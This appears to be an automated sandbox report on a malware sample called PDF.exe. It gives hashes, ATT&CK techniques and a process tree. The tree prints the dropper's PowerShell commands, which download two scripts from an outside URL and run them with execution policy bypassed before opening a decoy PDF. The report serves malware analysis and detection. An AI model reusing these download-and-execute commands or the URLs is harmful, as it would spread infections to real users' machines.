ff9b39d07fd6e4a7f98d109664d91de9e318671da6412da85396541722d92799

General

Target

PDF.exe
Size

258KB
MD5

34c2047d0b69ba023b700c21431accc0
SHA1

e34c28611707c81565cb73d8a1a46dfc3ab2495a
SHA256

ff9b39d07fd6e4a7f98d109664d91de9e318671da6412da85396541722d92799
SHA512

a1566d65beb8135edfcb5c4a09631bc17dff56db672621990a10d0eff37a0290c7e1e9705f1918a7e719cbea4b1cecc29bb8254da946108e9bd5432070cc8ca7
SSDEEP

6144:VbJhs7QW69hd1MMdxPe9N9uA0hu9TBrjJ0Xxne0AqGLj:VbjDhu9TV6xeJqG3

Score

10^/10

discovery execution link pdf

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://thelustfactory.com/vns/1.ps1

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://thelustfactory.com/vns/2.ps1

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2876	powershell.exe
2752	powershell.exe
1984	powershell.exe
2224	powershell.exe

HTTP links in PDF interactive object 1 IoCs

Detects HTTP links in interactive objects within PDF files.

pdf link

resource	yara_rule
behavioral1/files/0x0006000000019667-57.dat	pdf_with_link_action

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	AcroRd32.exe

Delays execution with timeout.exe 1 IoCs

defense_evasion

pid	Process
1604	timeout.exe

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

pid	Process
2688	AcroRd32.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
1984	powershell.exe
2224	powershell.exe
2876	powershell.exe
2752	powershell.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
2688	AcroRd32.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	1984	powershell.exe
Token: SeDebugPrivilege	2224	powershell.exe
Token: SeDebugPrivilege	2876	powershell.exe
Token: SeDebugPrivilege	2752	powershell.exe

Suspicious use of SetWindowsHookEx 3 IoCs

pid	Process
2688	AcroRd32.exe
2688	AcroRd32.exe
2688	AcroRd32.exe

Suspicious use of WriteProcessMemory 22 IoCs

description	pid	Process	procid_target
PID 2368 wrote to memory of 1476	2368	PDF.exe	30
PID 2368 wrote to memory of 1476	2368	PDF.exe	30
PID 2368 wrote to memory of 1476	2368	PDF.exe	30
PID 1476 wrote to memory of 1984	1476	cmd.exe	32
PID 1476 wrote to memory of 1984	1476	cmd.exe	32
PID 1476 wrote to memory of 1984	1476	cmd.exe	32
PID 1476 wrote to memory of 2224	1476	cmd.exe	33
PID 1476 wrote to memory of 2224	1476	cmd.exe	33
PID 1476 wrote to memory of 2224	1476	cmd.exe	33
PID 1476 wrote to memory of 2876	1476	cmd.exe	34
PID 1476 wrote to memory of 2876	1476	cmd.exe	34
PID 1476 wrote to memory of 2876	1476	cmd.exe	34
PID 1476 wrote to memory of 2752	1476	cmd.exe	35
PID 1476 wrote to memory of 2752	1476	cmd.exe	35
PID 1476 wrote to memory of 2752	1476	cmd.exe	35
PID 1476 wrote to memory of 1604	1476	cmd.exe	36
PID 1476 wrote to memory of 1604	1476	cmd.exe	36
PID 1476 wrote to memory of 1604	1476	cmd.exe	36
PID 1476 wrote to memory of 2688	1476	cmd.exe	37
PID 1476 wrote to memory of 2688	1476	cmd.exe	37
PID 1476 wrote to memory of 2688	1476	cmd.exe	37
PID 1476 wrote to memory of 2688	1476	cmd.exe	37

C:\Users\Admin\AppData\Local\Temp\PDF.exe
C:\Users\Admin\AppData\Local\Temp\PDF.exe DSRM -subtree
1⤵
- Suspicious use of WriteProcessMemory
PID:2368
- C:\Windows\system32\cmd.exe
  "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\843D.tmp\843E.tmp\843F.bat C:\Users\Admin\AppData\Local\Temp\PDF.exe DSRM -subtree"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1476
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "(New-Object Net.WebClient).DownloadFile('http://thelustfactory.com/vns/1.ps1', 'C:\Users\Admin\AppData\Roaming\1.ps1')"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1984
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "(New-Object Net.WebClient).DownloadFile('http://thelustfactory.com/vns/2.ps1', 'C:\Users\Admin\AppData\Roaming\2.ps1')"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2224
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -ExecutionPolicy Bypass -File C:\Users\Admin\AppData\Roaming\1.ps1
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2876
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -ExecutionPolicy Bypass -File C:\Users\Admin\AppData\Roaming\2.ps1
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2752
- - C:\Windows\system32\timeout.exe
    timeout /t 5
    3⤵
    - Delays execution with timeout.exe
    PID:1604
- - C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AcroRd32.exe
    "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AcroRd32.exe" "C:\Users\Admin\AppData\Roaming\pdf.pdf"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: CmdExeWriteProcessMemorySpam
    - Suspicious behavior: GetForegroundWindowSpam
    - Suspicious use of SetWindowsHookEx
    PID:2688

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\843D.tmp\843E.tmp\843F.bat

Filesize
712B

MD5
0e9ce5162ba7661c863a835f9d34d907

SHA1
0b351312ab57a02857753cab2287da680955f40d

SHA256
b67f37e765a5be87d9591efdb0501f0c97aa342ad1e4c34a711828c4a505c81e

SHA512
8d7c0a3cc95628cbec8a215f365c3ed86746e7b350c811ace5ea4419031adbdbe75dc7d1350d9c71db51f5cbb972db4e33b1d05e9a3e2a109c559eb065811ec0

Download Submit
C:\Users\Admin\AppData\Roaming\Adobe\Acrobat\9.0\SharedDataEvents

Filesize
3KB

MD5
dd5f955a6da56a872c69880f708e388b

SHA1
594f0a28491e711cf207764fab3e998d3398f33b

SHA256
cbfb8fe787aa80f8d836334cff99f699eb594ba3418bffbc2f06e0e275ac6907

SHA512
495f6e0d45d750a71dafbdf6a499e55e693f698b142442989d97d33d13b57d8df8d435ab926d8a9a5c625b44329396131d32c3bbcc335b58e3d7ca4c48de65e6

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
60e60e9b7e4adfb53f27ef5e51f3ac1e

SHA1
f0ad225413312fba9035a9eb8ea5ff4568425533

SHA256
659d5217b051046b49d2c8bcd68300c0fb2f46765d9c97ef2dd5c91ec0f814d1

SHA512
bf3fde45ef7d617b867a9dc31bad11fdd370c4160841b6f7e43405ce8284f42ef823f659cf8cdd9d09ca366d2b6726215417738cdc41e06826a7e42d67821113

Download Submit
C:\Users\Admin\AppData\Roaming\pdf.pdf

Filesize
139KB

MD5
5afaf79789a776d81ec91ccbdc9fdaba

SHA1
6703901978dcb3dbf2d9915e1d3e066cfe712b0a

SHA256
38c9792d725c45dd431699e6a3b0f0f8e17c63c9ac7331387ee30dcc6e42a511

SHA512
09253eb87d097bdaa39f98cbbea3e6d83ee4641bca76c32c7eb1add17e9cb3117adb412d2e04ab251cca1fb19afa8b631d1e774b5dc8ae727f753fe2ffb5f288

Download Submit
memory/1984-13-0x000007FEF4E70000-0x000007FEF580D000-memory.dmp

Filesize
9.6MB

Download
memory/1984-12-0x000007FEF4E70000-0x000007FEF580D000-memory.dmp

Filesize
9.6MB

Download
memory/1984-11-0x000007FEF4E70000-0x000007FEF580D000-memory.dmp

Filesize
9.6MB

Download
memory/1984-10-0x0000000001EF0000-0x0000000001EF8000-memory.dmp

Filesize
32KB

Download
memory/1984-9-0x000000001B760000-0x000000001BA42000-memory.dmp

Filesize
2.9MB

Download
memory/1984-8-0x000007FEF512E000-0x000007FEF512F000-memory.dmp

Filesize
4KB

Download
memory/2224-19-0x000000001B790000-0x000000001BA72000-memory.dmp

Filesize
2.9MB

Download
memory/2224-20-0x0000000001DA0000-0x0000000001DA8000-memory.dmp

Filesize
32KB

Download

Resubmissions

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads